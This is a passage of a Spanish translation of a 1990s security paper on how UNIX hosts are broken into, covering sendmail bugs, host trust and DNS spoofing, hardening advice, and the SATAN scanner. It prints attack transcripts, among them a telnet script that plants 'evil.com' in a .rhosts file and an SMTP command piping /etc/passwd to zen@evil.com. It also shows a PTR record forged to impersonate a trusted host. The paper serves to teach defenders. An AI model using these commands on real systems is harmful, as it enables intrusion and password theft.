pueden todavia ser usados para identificar cuentas de usuarios. Vrfy y expn
pueden tambien ser usados para descubrir si el usuario esta ejecutando mail
por medio de cualquier programa susceptible de ser explotado (ej, vacation,
mail sorters, etc.). Puede ser una buena idea el desabilitar los comandos
vrfy y expn: en la mayoria de las versiones, mira en el codigo fuente del
archivo srvrsmtp.c, y o bien borra o cambia las dos lineas de la estructura
CmdTab que tengan los strings “vrfy” y “expn”. Sites sin codigo pueden
tambien desabilitarlos simplemente editando el ejecutable del sendmail con
un editor binario y reemplazando “vrfy” y “expn” por espacios en blanco.
El adquirir una version reciente del sendmail (ver apendice D) es tambien
una gran idea, puesto que ha habido mas informes sobre bugs en el sendmail
que encualquier otro programa UNIX.
os bugs muy conocidos que deben ser tratados. El primero fue
definitivamente arreglado en la version 5.59 de Berkeley; a pesar de los
mensajes de abajo, para versiones de sendmail previas a la 5.59, “evil.com”
se añade, a pesar de los mensajes de error, junto con los tipicos headers
del mail, al archivo especificado:

% cat evil_sendmail
telnet victim.com 25 << EOSM
rcpt to: /home/zen/.rhosts
mail from: zen
data
random garbage
.
rcpt to: /home/zen/.rhosts
mail from: zen
data
evil.com
.
quit
EOSM

evil % /bin/sh evil_sendmail
Trying 128.128.128.1
Connected to victim.com
Escape character is '^]'.
Connection closed by foreign host.
evil % rlogin victim.com -l zen
Welcome to victim.com!
victim %

El segundo agujero, recientemente solucionado, permitia a cualquiera
especificar comandos arbitrarios de shell y/o caminos de ruta para el
remitente y/o direccion de destino. Los intentos por mantener los detalles
en secreto fueron en vano, y extensas discusiones en listas de correo o
grupos de news de usenet llevaron a revelar como explotar los bugs de
algunas versiones. Como en muchos bugs de UNIX, casi todas las
distribuciones de sendmail eran vulnerables al problema, ya que todas
compartian un ancestral codigo fuente comun. El espacio nos impide
discutirlo en su totalidad, pero un tipico ataque para conseguir el fichero
de passwords seria de la siguiente manera:

evil % telnet victim.com 25
Trying 128.128.128.1...
Connected to victim.com
Escape character is '^]'.
220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
mail from: "|/bin/mail zen@evil.com < /etc/passwd"
250 "|/bin/mail zen@evil.com < /etc/passwd"... Sender ok
rcpt to: nosuchuser
550 nosuchuser... User unknown
data
354 Enter mail, end with "." on a line by itself
.
250 Mail accepted
quit
Connection closed by foreign host.
evil %

Mientras escribiamos esto, se informa que la version 8.6.4 de sendmail (ver
apendice D para informacion sobre como conseguirlo) es la unica variante
del sendmail con todos los bugs recientes corregidos (ni de coña J).

Confianza

Para nuestro ultimo topico de vulnerabilidad, nos desviaremos de la
estrategia practica que hemos seguido previamente para meternos un poco mas
en la parte teorica, y discutir brevemente la nocion de la confianza. Las
cuestiones e implicaciones de la vulnerabilidad aquí, son un poco mas
sutiles y lejanas de alcanzar que las que hemos apuntado anteriormente; en
el contexto de este texto usamos la palabra confianza siempre que se da la
situacion de que un servidor (siempre que un host permite acceso remoto se
le puede llamar servidor) permita que un recurso local sea usado por un
cliente sin autentificacion de password cuando dicha autentificacion es
normalmente requerida. En otras palabras, limitamos arbitrariamente la
discusion a los clientes “disfrazados”.

Hay muchas maneras de un host pueda confiar: los ficheros .rhosts y
hosts.equiv que permiten el acceso sin verificacion de password; servidores
basados en ventanas que permiten a los sistemas remotos el uso y abuso de
privilegios; archivos exportados que controlan el acceso via NFS, y mas.


Casi todos estos dependen de la conversion del IP del cliente al nombre del
host para determinar si se concede el servicio o no. El metodo mas simple
usa el archivo /etc/hosts para una busqueda directa. Sin embargo, hoy en
dia la mayoria de hosts usan o bien DNS (Domain Name Service), NIS, o ambos
para el servicio de busqueda del nombre. Una busqueda inversa ocurre cuando
un servidor tiene una direccion IP (de una conexión de un cliente) y desea
coger el correspondiente nombre del host del cliente.

Auqnue el concepto de como funciona la confianza del host es bien sabido
por muchos administradores de sistema, los peligros de la confianza, y el
problema practico que representa, sin tomar en consideracion la
interpretacion del nombre del host, es uno de los problemas menos
entendidos que conocemos en Internet. Esto va mas alla de los obvios
ficheros hosts.equiv y .rhosts; NFS, NIS, sistemas de ventanas – de hecho,
muchos de los utiles servicios en UNIX estan basados en el concepto de que
sites bien conocidos (para un administrador o ususario) son de alguna
manera de confianza. Lo que no se entiende es como las redes atan de forma
tan estrecha la seguridad entre lo que normalmente se consideran hosts
inconexos.

Cualquier forma de confianza puede ser engañada, burlada, o derribada,
especialmente cuando la autoridad que tiene la responsabilidad de chequear
los credenciales de un cliente esta o bien fuera del dominio administrativo
del servidor, o cuendo el mecanismo de confianza esta basado de alguna
forma en metodo que tiene una forma debil de autentificacion; normalmente
ambos son el caso.

Obviamente, si el host que contiene la base de datos (bien NIS, DNS, o o lo
que sea) ha sido comprometido, el intruso puede convencer al host victima
de que el viene de cualquier host de confianza; ahora es suficiente con
encontrar que hosts son de confianza para la victima. Esta tarea es en gran
medida facilitada examinado de donde los administradores de sistema y las
cuentas del sistema (tales como root, etc.) se conectaron por ultima vez.
Volviendo a nuestra victima, victim.com, puedes ver que la cuenta root asi
como otras cuentas del sistema se conectaron desde big.victim.com. Cambias
el registro PTR para evil.com de forma que cuando intentes hacer un rlogin
(login remoto) desde evil.com a victim.com, evil.com intentara buscar tu
nombre de host y encontrara lo que pusistes en el registro. Si el registro
en la base de datos DNS es asi:

1.192.192.192.in-addr.arpa IN PTR evil.com

y lo cambias por:

1.192.192.192.in-addr.arpa IN PTR big.victim.com

entonces, dependiendo de como sea de ingenuo el software de victim.com,
victim.com creera que el acceso proviene de big.victim.com, y, asumiendo
que big.victim.com este en los ficheros /etc/hosts.equiv o /.rhosts, te
sera posible aceder sin tener que proporcionar un password. Con NIS, es
cuestion de o bien editar la base de datos del host en el NIS maestro (si
es que este esta controlado por el intruso) o de burlar o forzar el NIS
(ver discusion sobre la seguridad del NIS arriba) para proporcionar a la
victima cualquier informacion que desees. Aunque mas complejos, dañinos e
interesantes ataques pueden ser realizados por medio del DNS, el tiempo y
el espacio no permiten cubrir dichos metodos aquí.

Dos metodos puedem ser usados para prevenir dichos ataques. El primero es
el mas directo, pero quizas mas poco practico. Si tu site no usa ningun
metodo de confianza, no seras tan vulnerable al engaño de host. La otra
estrategia es la de usar protocolos encriptados. El usar el seguro
protocolo RPC (usado en NFS, NIS+, seguros) es un metodo; aunque ha sido
“roto” criptograficamente, aun da mas seguridad que los procedimientos de
autentificacion RPC que no usan ningun tipo de metodo de encriptacion.
Otras soluciones, tanto de hardware (smartcards) como de software
(Kerberos), estan siendo desarroladas, pero estan o bien incompletas o
requieren cambios en el software de el sistema.

El apendice B detalla los resultados de un estudio informal tomado de una
variedad de hosts en Internet.

protegiendo el sistema


Es nuestra esperanza el que hallamos demostrado que incluso algunos de los
aparentemente inocuos servicios ofrecidos (algunas veces inesperadamente)
pueden ser “municion” para determinados crackers de sistemas. Pero, por
supuesto, si la seguridad fuera nuestra unica preocupacion, los ordenadores
jamas estarian encendidos, y enganchados a una red con literalmente
millones de intrusos en potencia. Mas que dar avisos de que deberia o no
ncenderse, ofreceremos algunas sugerencias generales:

Si no puedes quitar el servicio finger, considera el instalar un nuevo
finger daemon. Es raramente necesario el revelar el home directory de un
usuario y la procedencia de su ultimo acceso.

No corras NIS a menos que sea absolutamente necesario. Usalo lo menos
posible.

Jamas exportes sistemas de archivo NFS sin restriccion, a todo el mundo.
Trata de exportar sistemas de archivos de solo lectura cuando sea
posible.

“Fortifica” y protege los servidores (ej, los hosts que dan un servicio
a otros hosts – NFS, NIS, DNS, o lo que sea.). Solo permite cuentas
administrativas en dichos hosts.

Examina cuidadosamente los servicios ofrecidos por inetd y el mapeador
de puertos (pormapper). Elimina todos aquellos que no sean totalmente
necesarios. Usa los inetd wrappers de Wietse Venema, no para otra
funcion que la de tener un log de las fuentes de conexiones a tu host.
Esto aporta grandes mejoras a las caracteristicas de verificacion
standard de UNIX, especialmente con referencia a los ataques de red. Si
es posible, usa los metodos loghost de syslog para obtener informacion
relacionada con la seguridad en un host seguro.

Elimina los metodos de confianza a menos que su uso sea totalmente
necesario. La confianza es tu enemigo.
Usa passwords shadowed y el comando passwd para rechazar passwords
pobres, debiles. Desabilita cuentas de usuario o de sistema no usadas o
inactivas.


Estate al tanto de la literatura actual (observa la lista de lectura y
bibliografua sugerida al final de este documento) y de las herramientas
de seguridad; informa a los demas acerca de problemas e incidentes de
seguridad. Como minimo, suscribete a la lista de mail del CERT y de la
revista PHRACK (ademas de la lista de mail de los firewalls, si tu site
esta usando o piensa instalar firewalls) y lee los grupos de news de
usenet acerca de seguridad para asi obtener la ultima informacion sobre
problemas de seguridad. La ignorancia es el problema de seguridad mas
mortal de los que estamos al tanto.

Instala todos los parches de seguridad tan pronto como sea posible, en
todos tus hosts. Examina la informacion de los parches de seguridad de
otras distribuciones – muchos bugs (rdist, sendmail) son comunes en
muchas variantes UNIX.

Es interesante el ver que soluciones comunes para problemas de seguridad ,
tales como usar Kerberos o el usar passwords de usar y tirar o tokens
digitales no son efectivas contra muchos de los ataques discutidos aquí.
Recomendamos de verdad el uso de tales sistemas, pero alertamos que no son
la solucion TOTAL a los problemas de seguridad – son parte de un esfuerzo
ayor de proteger tu sistema.

Conclusiones

Tal vez ninguno de los metodos expuestos aquí sean sorprendentes; cuando se
escribio este documento, no aprendimos mucho sobre como irrumpir en
sistemas. Lo que aprendimos fue, testeando estos metodos en nuestros
propios sistemas y en sites amigos, lo efectivos que son estos metodos a la
hora de ganar acceso a un tipico host Unix de Internet. Cansado de tratar
de teclear todo esto a mano, y deseando mantener nuestros propios sistemas
mas seguros, decidimos poner en practica una herramienta de seguridad
(SATAN) que trata de chequear hosts remotos al menos para alguno de los
problemas discutidos aquí. La tipica respuesta, cuando informabamos a la
gente acerca de nuestro documento y nuestra herramienta, era algo del
estilo de “eso suena bastante peligroso – espero que no vayas a darlo a
todo cristo. Pero ya que tu confias en mi, podria tener una copia?”

Jamas pensamos en crear un cookbook o una herramienta de metodos y
programas soobre/para irrumpir en sistemas – en vez de eso, vemos que estos
mismos metodos fueron usados, todos los dias, contra nosotros y contra
administradores de sistema amigos. Creemos que el propagar la informacion
que normalmente no era accesible para aquellos que estuvieran fuera del
underworld, podemos aumentar la seguridad incrementando la conciancia del
peligro.. El intentar restringir el acceso a informacion “peligrosa” sobre
seguridad nunca ha sido un metodo muy util para incrementar la seguridad;
de hecho, lo contrario parece ser el caso, ya que los crackers de sistemas
han sido reticentes a la hora de compartir informacion con otros.


Mientras es casi seguro que alguna de la informacion aquí presentada es
material nuevo para aspirantes a crackers de sistemas, y que algunos la
usaran para ganarse accesos no autorizados en hosts, la evidencia
presentada por nuestros tests muestra que hay un monton de sites inseguros,
simplemente por que el administrador de sistema no sabe mucho mas – no son
estupidos o lentos, simplemente no son capaces de pasar el poco tiempo que
tienen libre explorando todas las materias de seguridad pertenecientes a
sus sistemas. Combinado esto con el hecho de que no tienen un acceso facil
a este tipo de informacion da como resultado sistemas pobremente
defendidos.

Esperamos (modetamente) que este documento provea de datos muy necesarios
sobre como los sistemas son crackeados, y mas aun, explique por que se
deben de dar ciertos pasos para proteger un sistema. El saber por que algo
es un problema es, en nuestra opinion, la clave para aprender y hacer una
eleccion informada e inteleginte para lo que la seguridad de tu sistema
significa de verdad.
-----
Apendice A:
SATAN (Security Analysis Tool for Auditing Networks)

Concebido originalmente hace unos años, SATAN es actualmente el prototipo
de una vision mas amplia y comprensible de una herramineta de seguridad. En
su encarnacion actual, SATAN prueba e informa remotamente acerca de varios
bugs y debilidades en servicios de red y sistemas basados en ventanas, asi
como tambien detalla tanta informacion util sobre la victima como le es
posible. Entonces procesa los datos con un filtro y con lo que se
calificaria como un sistema experto para al final generar el analisis de
seguridad. A pesar de no ser particularmente rapido, es extremadamente
adaptable y facil de modificar.


SATAN consiste en varios sub-programas, cada uno de los cuales es un
fichero ejecutable (perl, shell, binario compilado en C, lo que sea) que
testea un host para una debilidad potencial dada. El añadir futuros
programas de testeo es tan facil como poner un ejecutable en el directorio
principal con la extension “.sat”; el programa principal lo ejecutara
automaticamente. Este genera una serie de blancos (usando DNS y una version
rapida de ping a la vez para llegar a los blancos en directo), y despues
ejecuta cada uno de los programas sobre cada uno de los blancos. Un
programa de interpretacion/filtrado de datos analiza despues el resultado,
y finalmente un programa de informes digiere todo para ponerlo en un
formato mas leible.

El paquete entero, incluyendo el codigo fuente y la documentacion, estara
disponible libremente al publico, via ftp anonimo y postenadolo a uno de
los numerosos foros sobre codigo fuente de Usenet.

Apendice B

Un estudio informal llevado a cabo en al menos una docena de sites en
Internet (educacionales, militares, y comerciales, con unos 200 hosts y
4000 cuentas) revelo que como media, alrededor del 10% de las cuentas de un
site tenian archivos .rhosts. Cada uno de estos archivos promediaba 6 hosts
confiados; sin embargo, no era raro el tener unas 100 entradas en el
archivo .rhosts de una cuenta, y en algunas ocasiones, esta cifra estaba
alrededor de 500! (Este no es un record del que uno deberia estar orgulloso
de poseer). Adicionalmente, cada uno de los sites directamente en Internet
(un site estaba practicamente tras un firewall) confiaba en un usuario o
host en otro site – asi que, la seguridad del site no estaba bajo el
control directo del administrador de sistema. Los sites mas grandes, con
mas usuarios y hosts, tenian un porcentaje mas bajo de usuarios con
archivos .rhosts, pero el tamaño de estos archivos era mayor, asi como el
numero de hosts remotos de confianza.

Aunque fue muy dificil el verificar cuantas de las entradas fueron validas,
con nombres de host tales como "Makefile", "Message-Id:", and
"^Cs^A^C^M^Ci^C^MpNu^L^Z^O", asi como unas pocas entradas de wildcard, nos
cuestionamos la sensatez de poner la seguridad de un site en manos de sus
usuarios. Muchos usuarios (especialmente los poseedores de largos archivos
.rhosts) intentaron poner comentarios tipo shell en sus archivos .rhosts,
que son intentados reolver como nombre de host validos por muchos sistemas
UNIX. Desafortunadamente, un atacante puede entonces usar las tecnicas DNS
y NIS de engaño del nombre de host discutidas antes para fijar sus nombres
de host como "#" y entrar libremente. Esto pone en riesgo a muchos sites
(al menos una distribucion es dada con comentarios en sus archivos
/etc/hosts.equiv).

Podrias pensar que estos sites no son tipicos, y, de hecho, no lo eran.
Virtualmente todos los administradores saben un monton sobre seguridad y
escriben programas de seguridad como hobby o como profesion, y muchos de
los sites para los que trabajaron hicieron estudios de seguridad o crearon
roductos de seguridad. Solo podemos suponernos como sera un site “tipico”.
apendice C:

Despues de recibir mail de un site que habia sido violado desde uno de
nuestros sistemas, se inicio una investigacion. Con el tiempo, encontramos
que el intruso estaba haciendolo desde una lista de sites “.com”
(comerciales), buscando hosts con ficheros de password faciles de robar. En
este caso, “facil de robar” se refiere a sites con un nobre de dominio NIS
facil de adivinar y un servidor NIS de facil acceso. Sin saber cuan lejos
habia llegado el intruso, parecia una buena idea el alertar a los sites que
eran en si vulnerables al robo de passwords. De los 656 hosts de la lista
del intruso, 24 tenian archivos de password susceptibles de robo – 1 de
cada 25 hosts mas o menos!!. Un tercio de estos archivos contenia al menos
una cuenta sin password con shell interactivo. Con un total de 1594
entradas, a una media de 10 minutos corriendo un password cracker (Crack)
daria mas de 50 passwords, usando una estacion de trabajo Sun de gama baja.
Otros 40 mas se encontaron en los siguientes 20 minutos; y un password de
la cuenta root se encontro en solo 1 hora. El resultado despues de unos
dias de crackeo fue: 5 passwords root, 19 de 24 archivos de password (80%)
con al menos un password conocido, y 259 de 1594 (1 sexto) passwords
adivinados.

Apendice D:

Como conseguir metodos de seguridad gratis en Internet

Listas de mail:
o The CERT (Computer Emergency Response Team) advisory mailing list.
Mandar e-mail a cert@cert.org, y pedir que se te ponga en su lista de mail.

o The Phrack newsletter. Mandar e-mail a phrack@well.sf.ca.us y pedir que
se te añada en la lista.

o The Firewalls mailing list. majordomo@greatcircle.com
Poner lo siguiente:

subscribe firewalls

o Computer Underground Digest. Mandar e-mail a
tk0jut2@mvs.cso.niu.edu, pidiendo que te pongan en la lista.

Software gratis:


COPS (Computer Oracle and Password System) disponible via ftp
anonimo fde archive.cis.ohio-state.edu, in pub/cops/1.04+.

The tcp wrappers disponibles via ftp anonimo de ftp.win.tue.nl,
in pub/security.


Crack esta disponible en ftp.uu.net, in /usenet/comp.sources.misc/volume28.

TAMU is a UNIX auditing tool that is part of a larger suite of excellent
tools put out by a group at the Texas A&M University. They can be
gotten via anonymous ftp at net.tamu.edu, in pub/security/TAMU.


Sources for ftpd and many other network utilities can be found in
ftp.uu.net, in packages/bsd-sources.


Source for ISS (Internet Security Scanner), a tool that remotely scans
for various network vulnerabilities, is available via anonymous ftp from
ftp.uu.net, in usenet/comp.sources.misc/volume40/iss.


Securelib is available via anonymous ftp from ftp.uu.net, in
usenet/comp.sources.misc/volume36/securelib.


The latest version of berkeley sendmail is available via anonymous ftp
from ftp.cs.berkeley.edu, in ucb/sendmail.

Tripwire, a UNIX filesystem integrity checker+, is available via anonymous
ftp at ftp.cs.purdue.edu, in pub/spaf/COAST/Tripwire.

1 comentario - Todo Sobre El Hacker